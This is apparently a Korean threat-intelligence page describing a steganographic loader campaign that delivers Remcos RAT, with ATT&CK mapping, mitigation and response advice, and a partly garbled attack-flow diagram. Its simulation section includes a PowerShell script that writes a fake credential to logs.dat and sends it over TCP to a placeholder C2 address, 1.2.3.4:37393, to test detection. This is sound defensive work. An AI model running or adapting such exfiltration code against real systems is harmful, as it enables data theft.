SOC Prime Bias: High

24 Jun 2026 06:40 UTC

전 세계적으로 다양한 페이로드를 배포하는 다단계 스테가노그라피 로더 캠페인

Author Photo
SOC Prime Team linkedin icon 팔로우
전 세계적으로 다양한 페이로드를 배포하는 다단계 스테가노그라피 로더 캠페인
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

다단계 악성코드 캠페인은 스테가노그래피와 메모리 내 실행을 사용하여 여러 페이로드를 전달하며, 여기에는 Remcos RAT도 포함됩니다. 감염 체인은 악성 아카이브가 포함된 피싱 이메일로 시작되며, 이 아카이브는 .NET 실행 파일을 배포합니다. 그 실행 파일은 임베디드 자원과 스테가노그래픽 방법을 사용하여 후속 단계를 메모리에 직접 로드하여 디스크 기반 탐지를 피하는 데 도움을 줍니다.

조사

조사는 텔레메트리가 GST Debit Note Apr_26.com이라는 의심스러운 파일을 찾아내면서 시작되었습니다. 분석가들은 이 파일이 게임으로 위장된 패킹된 32비트 .NET 실행 파일이라는 것을 밝혀냈습니다. 추가적인 역공학 분석을 통해 .NET 비트맵 객체에 임베디드된 스테가노그래피가 발견되었으며, 이는 다음 단계 로더인 Optimax.dll을 숨기고 메모리 내에서 완전히 실행 가능하게 했습니다.

완화

조직은 의심스러운 아카이브 첨부파일과 피싱 시도를 차단하기 위해 강력한 이메일 필터링을 배포해야 합니다. EDR 솔루션은 메모리 내 실행, 프로세스 할로잉, 의심스러운 PowerShell 동작을 탐지할 수 있어야 합니다. 또한 팀은 특히 Run 키에서의 무단 레지스트리 변경을 모니터링하고, 서명되지 않은 실행 파일이 실행되지 않도록 엄격한 애플리케이션 통제를 해야 합니다.

대응

피해를 입은 엔드포인트는 즉시 고립시켜 횡적 이동과 데이터 도난을 제한해야 합니다. 조사관들은 파일 없는 구성 요소를 식별하고 Remcos_Mutex_Inj 뮤텍스의 존재를 확인하기 위해 메모리 포렌식을 수행해야 합니다. 전체 검색도 AppData 디렉토리와 레지스트리 Run 키에서 무단 지속 상태를 확인해야 하며, 악성코드에 의해 브라우저가 접근된 사용자는 자격 증명을 재설정해야 합니다.

그래프 TB %% 클래스 정의 섹션 classDef action fill:#99ccff classDef malware fill:#ff99cc classDef technique fill:#c2f0c2 classDef file fill:#e1e1e1 %% 노드 정의 %% 초기 접근 attack_phishing[“<b>액션</b> – <b idea=’T1566.001’>피싱: 스피어피싱 첨부 파일</b><br/><b>세부사항</b>: 악성 아카이브 GST Debit Note Apr_26.com이 피해자에게 전송됨.”] class attack_phishing action %% 회피 및 로더 단계 1 evasion_stego[“<b idea=’T1027.003’>파일 또는 정보 난독화: 스테가노그래피</b><br/><b>세부사항</b>: Optimax.dll을 직렬화된 .NET 비트맵 객체 내에 숨겨둠<br/>실행 파일 자원 섹션 내부.”] class evasion_stego technique exec_appdomain[“<b idea=’T1574.014’>실행 흐름 하이재킹: AppDomainManager</b><br/><b>세부사항</b>: 리플렉션과 AppDomain.Load를 사용하여<br/>디스크를 만지지 않고 메모리에서 직접 페이로드 실행.”] class exec_appdomain technique %% 2단계 loader_stage2[“<b idea=’T1055.012’>프로세스 인젝션: 프로세스 할로잉</b><br/><b>세부사항</b>: System Optimizer Ultimate.dll이 최종 페이로드를 배포하며<br/>기본 브라우저 프로세스를 허용함.”] class loader_stage2 technique malware_remcos[“<b idea=’Malware’>Remcos RAT</b><br/><b>설명</b>: 최종 페이로드로 배포된 원격 액세스 트로이목마.”] class malware_remcos malware %% 지속 및 회피 evasion_sandbox[“<b idea=’T1497’>가상화/샌드박스 회피</b><br/><b>세부사항</b>: 샌드박스 또는 가상 머신 탐지를 위해 sbiedll.dll과 레지스트리 키 확인.”] class evasion_sandbox technique persistence_active[“<b idea=’T1547.014’>부팅 또는 로그인 시 자동 실행 기능: Active Setup</b><br/><b>세부사항</b>: 악성코드를 AppDataRoaming에 복사하고<br/>지속성을 위한 Run 레지스트리 키 구성.”] class persistence_active technique %% 수집 및 탈취 collect_browser[“<b idea=’T1217’>브라우저 정보 발견</b><br/><b>세부사항</b>: Chrome 및 Firefox 자격 증명 수집.”] class collect_browser technique steal_cookies[“<b idea=’T1539’>웹 세션 쿠키 탈취</b><br/><b>세부사항</b>: 활성 웹 세션 쿠키 캡쳐.”] class steal_cookies technique exfil_c2[“<b idea=’T1041’>C2 채널 통한 데이터 탈취</b><br/><b>세부사항</b>: logs.dat에서 캡처된 데이터를<br/>공격자에게 지령 및 제어로 전송.”] class exfil_c2 technique file_logs[“<b idea=’File’>logs.dat</b><br/><b>설명</b>: 탈취된 자격 증명과 쿠키를 저장하는 데 사용된 로컬 파일.”] class file_logs file %% 연결 %% 공격 흐름 attack_phishing –>|leads_to| evasion_stego evasion_stego –>|unpacks| exec_appdomain exec_appdomain –>|loads| loader_stage2 loader_stage2 –>|deploys| malware_remcos %% 악성코드 동작 malware_remcos –>|performs| evasion_sandbox malware_remcos –>|establishes| persistence_active malware_remcos –>|performs| collect_browser collect_browser –>|leads_to| steal_cookies steal_cookies –>|saves_to| file_logs file_logs –>|sent_via| exfil_c2

공격 흐름

시뮬레이션 실행

필수 조건: 텔레메트리 & 베이스라인 프리플라이트 체크가 통과해야 합니다.

근거: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적색 팀 전술자세(TTP)의 정확한 실행에 대해 설명합니다. 명령과 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 로직에 의해 기대되는 특정 텔레메트리를 생성해야 합니다. 추상적이거나 관련 없는 예는 오진으로 이어질 수 있습니다.

  • 공격 내러티브 및 명령: 적은 발판을 성공적으로 마련했습니다. 목표를 완수하기 위해 시스템 텔레메트리를 수집하고 이를 logs.dat 라는 파일에 저장하여 표준 시스템 로그로 위장합니다. 그런 다음 적은 네트워크 연결을 사용하여 설정된 C2 인프라(IP 1.2.3.4 및 포트 37393 를 사용하여)로 데이터를 탈취하기 위해 네트워크 연결을 시도합니다. 이는 스테가노그래픽 로더가 하드코딩된 채널을 통해 네트워크 밖으로 데이터를 이동하려는 행동을 모방합니다.

  • 회귀 테스트 스크립트:

    # 특정 파일 이름 및 C2 매개변수를 통한 데이터 탈취 시뮬레이션
    $C2_IP = "1.2.3.4" # 시뮬레이션된 C2 IP
    $C2_PORT = 37393
    $FILENAME = "logs.dat"
    
    # 1. '악성' 데이터 파일 생성
    Write-Output "Sensitive Data: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME"
    
    # 2. C2로의 네트워크 연결 시뮬레이션
    # 특정 포트/IP 텔레메트리를 강제하기 위한 TCP 클라이언트 사용
    try {
        $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT)
        $stream = $client.GetStream()
        $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME"))
        $stream.Write($data, 0, $data.Length)
        $client.Close()
    } catch {
        Write-Host "연결 실패 (IP가 존재하지 않을 경우 예상됨), 방화벽에 의해 텔레메트리가 캡처되어야 함."
    }
  • 정리 명령:

    # 시뮬레이션된 악성 파일 제거
    Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue